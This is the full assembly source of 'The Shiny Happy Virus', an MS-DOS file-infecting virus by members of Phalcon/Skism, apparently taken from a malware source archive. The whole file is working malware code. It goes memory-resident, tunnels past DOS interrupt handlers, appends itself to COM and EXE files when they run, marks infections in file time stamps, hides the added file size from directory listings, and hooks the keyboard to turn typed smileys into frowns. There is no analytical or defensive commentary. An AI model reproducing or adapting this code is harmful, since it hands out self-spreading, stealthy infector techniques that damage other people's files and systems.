MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.shinyhap.asm
2021-01-12 17:58:25 -06:00

544 lines
11 KiB
NASM

; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism
.model tiny
.code
id = '52'
timeid = 18h
shiny:
call next
next: pop bp
push ds
push es
xor di,di
mov ds,di
cmp word ptr ds:[1*4],offset int1_2 ; installation check
jz return
mov ax,es
dec ax
sub word ptr ds:[413h],(endheap-shiny+1023)/1024
mov ds,ax
sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64
sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
mov es,word ptr ds:[12h]
push cs
pop ds
lea si,[bp+shiny-next]
mov cx,(endheap-shiny+1)/2
rep movsw
push cs
lea ax,[bp+return-next]
push ax
push es
mov ax,offset highentry
push ax
retf
return:
cmp sp,id-4
jz returnEXE
returnCOM:
pop es
pop ds
mov di,100h
push di
lea si,[bp+offset save3-next]
movsw
movsb
retn
returnEXE:
pop es
pop ds
mov ax,es
add ax,10h
add word ptr cs:[bp+origCSIP+2-next],ax
cli
add ax,word ptr cs:[bp+origSPSS-next]
mov ss,ax
mov sp,word ptr cs:[bp+origSPSS+2-next]
sti
db 0eah
origCSIP db ?
save3 db 0cdh,20h,0
origSPSS dd ?
highentry:
mov cs:in21flag,0
xor ax,ax
mov ds,ax
les ax,ds:[9*4]
mov word ptr cs:oldint9,ax
mov word ptr cs:oldint9+2,es
mov ds:[9*4],offset int9
mov ds:[9*4+2],cs
les ax,ds:[21h*4]
mov word ptr cs:oldint21,ax
mov word ptr cs:oldint21+2,es
mov word ptr ds:[1*4],offset int1
mov ds:[1*4+2],cs
mov ah, 52h
int 21h
mov ax,es:[bx-2]
mov word ptr cs:tunnel21+2, ax
mov word ptr cs:dosseg_, es
pushf
pop ax
or ah,1
push ax
popf
mov ah,0bh
pushf
db 09Ah
oldint21 dd ?
mov word ptr ds:[3*4],offset int3
mov ds:[3*4+2],cs
mov word ptr ds:[1*4],offset int1_2
les bx,cs:tunnel21
mov al,0CCh
xchg al,byte ptr es:[bx]
mov byte ptr cs:save1,al
retf
authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0
int1: push bp
mov bp,sp
push ax
mov ax, [bp+4]
cmp ax,word ptr cs:tunnel21+2
jb foundint21
db 3dh ; cmp ax, xxxx
dosseg_ dw ?
ja exitint1
foundint21:
mov word ptr cs:tunnel21+2,ax
mov ax,[bp+2]
mov word ptr cs:tunnel21,ax
and byte ptr [bp+7], 0FEh
exitint1:
pop ax
pop bp
iret
int1_2: push bp
mov bp,sp
push ax
mov ax, [bp+4]
cmp ax,word ptr cs:tunnel21+2
ja exitint1_2
mov ax, [bp+2]
cmp ax,word ptr cs:tunnel21
jbe exitint1_2
push ds
push bx
lds bx,cs:tunnel21
mov byte ptr ds:[bx],0CCh
pop bx
pop ds
and byte ptr [bp+7],0FEh
exitint1_2:
pop ax
pop bp
iret
infect_others:
mov ax,4301h
push ax
push ds
push dx
xor cx,cx
call callint21
mov ax,3d02h
call callint21
xchg ax,bx
mov ax,5700h
call callint21
push cx
push dx
mov ah,3fh
mov cx,1ah
push cs
pop ds
push cs
pop es
mov dx,offset readbuffer
call callint21
mov ax,4202h
xor cx,cx
cwd
int 21h
mov si,offset readbuffer
cmp word ptr [si],'ZM'
jnz checkCOM
checkEXE:
cmp word ptr [si+10h],id
jz goalreadyinfected
mov di, offset OrigCSIP
mov si, offset readbuffer+14h
movsw
movsw
sub si, 18h-0eh
movsw
movsw
push bx
mov bx, word ptr readbuffer + 8
mov cl, 4
shl bx, cl
push dx
push ax
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr readbuffer+14h, dx
mov word ptr readbuffer+16h, ax
mov word ptr readbuffer+0Eh, ax
mov word ptr readbuffer+10h, id
pop ax
pop dx
pop bx
add ax, heap-shiny
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr readbuffer+4, dx
mov word ptr readbuffer+2, ax
mov cx,1ah
jmp short finishinfection
checkCOM:
xchg cx,ax
sub cx,heap-shiny+3
cmp cx,word ptr [si+1]
goalreadyinfected:
jz alreadyinfected
add cx,heap-shiny
push si
mov di,offset save3
movsw
movsb
pop di
mov al,0e9h
stosb
mov ax,3 ; cx holds bytes to write
xchg ax,cx
stosw
finishinfection:
push cx
mov ah,40h
mov cx,heap-shiny
cwd ; xor dx,dx
call callint21
mov ax,4200h
xor cx,cx
cwd
int 21h
mov ah,40h
pop cx
mov dx,offset readbuffer
call callint21
mov ax,5701h
pop dx
pop cx
and cl,0E0h
or cl,timeid
call callint21
jmp doneinfect
alreadyinfected:
pop ax
pop ax
doneinfect:
mov ah,3eh
call callint21
pop dx
pop ds
pop ax
pop cx
call callint21
exitexecute:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp exitint21
execute:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
mov ax,4300h
call callint21
jc exitexecute
push cx
jmp infect_others
int3:
push bp
mov bp,sp
cmp cs:in21flag,0
jnz leaveint21
inc cs:in21flag
cmp ah,11h
jz findfirstnext
cmp ah,12h
jz findfirstnext
cmp ax,4b00h
jz execute
exitint21:
dec cs:in21flag
leaveint21:
or byte ptr [bp+7],1 ; set trap flag upon return
dec word ptr [bp+2] ; decrement offset
call restoreint21
pop bp
iret
callint21:
pushf
call dword ptr cs:tunnel21
ret
restoreint21:
push ds
push ax
push bx
lds bx,cs:tunnel21
mov al,byte ptr cs:save1
mov ds:[bx],al
pop bx
pop ax
pop ds
ret
findfirstnext:
int 21h ; pre-chain interrupt
; flags [bp+12]
; segment [bp+10]
; offset [bp+8]
; flags [bp+6]
; segment [bp+4]
; offset [bp+2]
; bp [bp]
pushf ; save results
pop [bp+6+6]
pop bp
push ax
push bx
push ds
push es
inc al
jz notDOS
mov ah,51h ; Get active PSP
int 21h
mov es,bx
cmp bx,es:[16h] ; DOS calling it?
jne notDOS
mov ah,2fh ; DTA -> ES:BX
int 21h
push es
pop ds
cmp byte ptr [bx],0FFh
jnz regularFCB
add bx,7
regularFCB:
cmp word ptr [bx+9],'OC'
jz checkinf
cmp word ptr [bx+9],'XE'
jnz notDOS
checkinf:
mov al,byte ptr [bx+23]
and al,1Fh
cmp al,timeid
jnz notDOS
subtract:
sub word ptr [bx+29],heap-shiny
sbb word ptr [bx+31],0
notDOS:
pop es
pop ds
pop bx
pop ax
dec cs:in21flag
cli
add sp,6
iret
int9:
pushf ; save flags, regs, etc...
push ax
push bx
push cx
push dx
xor bx,bx
mov ah,0fh ; get video mode
int 10h
mov ah,03h ; get curs pos
int 10h
call getattrib
cmp al,')' ; happy??
jne audi5000 ; no
mov cs:eyesflag,0
beforeloveshack:
call getattrib ; see if there is a nose
loveshack:
cmp al,':' ; shiny???
je realeyes
cmp al,'=' ; check for even =)
je realeyes
cmp al,'|'
je realeyes
cmp al,';'
je realeyes
cmp cs:eyesflag,0
jnz audi5001
cmp al,'('
jz audi5001
inc cs:eyesflag
inc bl
jmp short beforeloveshack
realeyes:
stc
adc dl,bl ; add extra backspace if so
mov ah,02h
int 10h
mov ax,0a28h ; 0ah, '(' ; write frown
mov cx,1
int 10h
jmp audi5000
audi5001:
stc
adc dl,bl
audi5000:
inc dl ; set curs pos
mov ah,02h
int 10h
pop dx ; restore all stuff
pop cx
pop bx
pop ax
popf
db 0eah
oldint9 dd ?
; reads the char at the current cursorpos - 1
getattrib:
dec dl ; set curs pos
mov ah,02h
int 10h
mov ah,08h ; get char at curs
int 10h
ret
heap:
save1 db ?
tunnel21 dd ?
in21flag db ?
eyesflag db ?
readbuffer db 1ah dup (?)
endheap:
end shiny